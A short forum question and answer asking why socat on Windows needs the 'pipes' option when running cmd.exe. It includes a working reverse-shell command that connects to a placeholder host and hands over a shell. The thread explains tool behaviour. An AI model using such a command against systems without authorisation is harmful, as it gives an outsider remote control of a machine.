SOCAT on WINDOWS: why do I need pipes option for EXEC address?

Trying to create a reverse shell, I used this one my windows box:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'

which failed with the following error: "The process tried to write to a nonexistent pipe."

Using the pipes option, it now works: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes

My question is why pipes is necessary?

I know that pipes options will use named pipes instead of the default UNIX socket.
I am assuming that the default behavior is different in the windows implementation


Solution 1:

The pipes option is used to force cmd.exe or powershell to use Unix style standard input and output.